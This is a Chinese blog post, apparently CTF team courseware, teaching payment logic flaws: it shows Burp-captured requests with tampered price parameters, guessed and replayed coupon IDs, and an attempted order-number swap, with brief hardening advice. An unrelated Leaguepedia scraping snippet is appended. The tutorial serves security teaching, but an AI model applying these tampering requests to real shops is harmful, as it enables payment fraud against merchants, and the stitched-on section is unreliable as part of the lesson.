河南省高校联盟战队课件10(支付逻辑漏洞)

本文介绍了支付逻辑漏洞的常见类型,如负值反冲和正负值对冲,通过实例展示了如何通过修改商品数量和价格实现低价购买高价商品。此外,还探讨了优惠券的重复使用和订单号篡改的尝试,提出加固方法如限制用户ID和优惠券一次性使用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

					河南省高校联盟战队课件10(支付逻辑漏洞)

详细视频和总文章:
支付逻辑漏洞
总文章链接
漏洞描述及测试方法:
实际上这个情况常见的情况有:
负值反冲、正负值对冲、甚至是直接修改数量单价、总价等等。
负值反冲,就是说程序没有校验订单的取值范围,若是使用负值则可以进行支付逻辑利用;
正负值对冲,是指,通过修改订单的数量或者是单价、总价来达到少付钱的目的,但是你的值不能是负值

此次带来的案例,就是我在测试过程遇到的一个,部分课程需要加入购物车后充值购买,于是乎我将单价、总数进行更改,成功的达到了少付款的目的,一元购。

一、数量价格问题

  1. 数量价格方面的修改

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Pw3hPTgc-1652023866890)(D:\software\Typora\courseware\河南高校联盟课件\逻辑漏洞课件\image\image-20220429130001228.png)]

  1. 尝试修改数据 price 把5400改为54

在这里插入图片描述

  1. 修改后页面显示为了54(具体情况具体分析)

最终是否成功要试过才知道不清的可以看看前面的那个

二、低价购买高价商品

用BurpSuite抓取相应的数据包
大米测试产品数据包(6000)
在这里插入图片描述数据包如下:
GET /index.php?m=Member&a=gobuy&iscart=0&id=127&name=%E5%A4%A7%E7%B1%B3%E6%B5%8B%E8%AF%95%E4%BA%A7%E5%93%81&qty=1&price=6000&gtype=%E7%81%B0%E8%89%B2&pic=/Public/Uploads/thumb/thumb_1393218295.jpg

大米手机数据包(5400)
在这里插入图片描述GET /index.php?m=Member&a=gobuy&iscart=0&id=70&name=%E5%A4%A7%E7%B1%B3%E6%89%8B%E6%9C%BACMS&qty=1&price=5400&gtype=%E7%81%B0%E8%89%B2&pic=/Public/Uploads/thumb/thumb_1393218295.jpg

改包后
在这里插入图片描述修改后的数据包如下:
GET /index.php?m=Member&a=gobuy&iscart=0&id=127&name=%E5%A4%A7%E7%B1%B3%E6%B5%8B%E8%AF%95%E4%BA%A7%E5%93%81&qty=1&price=5400&gtype=%E7%81%B0%E8%89%B2&pic=/Public/Uploads/thumb/thumb_1393218295.jpg HTTP/1.1
结果:以5400买到6000的东西(最后结果要真实验证才行)

三、 优惠券

  • 重复使用-重放数据包
  • 优惠券猜测并使用

1、 优惠券猜测并使用

(1)有优惠券的数据包

  • goods_sku_list=1%3A1&leavemessage=&use_coupon=121954&integral=0&account_balance=0&pay_type=0&buyer_invoice=&pick_up_id=0&express_company_id=1
  • goods_sku_list=1%3A1&leavemessage=&use_coupon=121955&integral=0&account_balance=0&pay_type=0&buyer_invoice=&pick_up_id=0&express_company_id=1

(2)没有优惠券的数据包

  1. goods_sku_list=1%3A1&leavemessage=&use_coupon=0&integral=0&account_balance=0&pay_type=0&buyer_invoice=&pick_up_id=0&express_company_id=1

通过判断二者数据包可以看出二者主要区别在use_coupon=的参数
尝试修改use_coupon=参数 从而猜测优惠券的规律
在这里插入图片描述结果成功变为9000
在这里插入图片描述成功猜测出优惠券的规律并使用

2、优惠券的重复利用
在这里插入图片描述优惠券的编号121956
我们在次抓包修改优惠券的编号相同看优惠券是否可以复用
在这里插入图片描述可以看到这里的优惠券是可以重复利用的
加固方法:

  • 固定用户id
  • 用完后删除

四、订单的交换

尝试订单的交换(以少价钱的订单购买多价钱的订单)
100000喵图(10)
GET /index.php?s=/order/orderPay&id=18
GET /index.php?s=/wap/pay/getpayvalue&out_trade_no=1651219745504

10000喵图(1)
GET /index.php?s=/order/orderPay&id=17
GET /index.php?s=/wap/pay/getpayvalue&out_trade_no=1651219894391

修改订单号
18id----订单编号
10w的订单改为1w

订单价格 订单数量
以1w买10w的东西 付款1w
订单编号为10w 修改订单编号为1w 付款1w

修改订单编号
在这里插入图片描述这里是不行的(只提供一个思路)

### 英雄联盟赛事战队数据爬虫实现 对于希望获取英雄联盟赛事战队数据的情况,可以采用多种方式。一种有效的方式是通过Leaguepedia API来抓取所需的信息[^2]。 #### 使用 Leaguepedia API 抓取数据 为了从Leaguepedia中提取特定信息,如战队的表现、选手的具体操作等,可以通过API请求完成这一过程。下面是一个简单的例子,展示了如何设置并发送HTTP GET请求以获得JSON格式返回的数据: ```python import requests def fetch_data_from_leaguepedia(query_string): base_url = 'https://lol.fandom.com/api.php' params = { 'action': 'cargoquery', 'format': 'json', 'tables': query_string['tables'], 'fields': query_string['fields'] } response = requests.get(base_url, params=params) if response.status_code == 200: return response.json() else: raise Exception(f"Error fetching data from Leaguepedia: {response.text}") ``` 此函数接受一个字典参数`query_string`,该字典包含了要查询的表名以及感兴趣的字段列表。例如,若想了解某个队伍在一场比赛中的表现,则可构建如下形式的查询字符串: ```python team_performance_query = { 'tables': 'MatchScheduleGame,TournamentTeamStats', 'fields': 'MatchScheduleGame.DateTime_UTC,TournamentTeamStats.TeamName,\ TournamentTeamStats.Kills,TournamentTeamStats.GoldEarned,...' } data = fetch_data_from_leaguepedia(team_performance_query) print(data) ``` 需要注意的是,在实际应用过程中可能还需要考虑分页等问题;此外,某些旧版字段可能存在废弃或错误情况,因此建议参照官方文档进行适当调整。 另一种更为简便的方法是从第三方网站如Oracle's Elixir下载历史赛季的数据集。尽管这些资源并非实时更新且存在少量缺失值的可能性,但对于大多数研究目的来说仍然是非常有价值的参考资料源。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

kui954

感谢各位的支持o(* ̄3 ̄)o

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值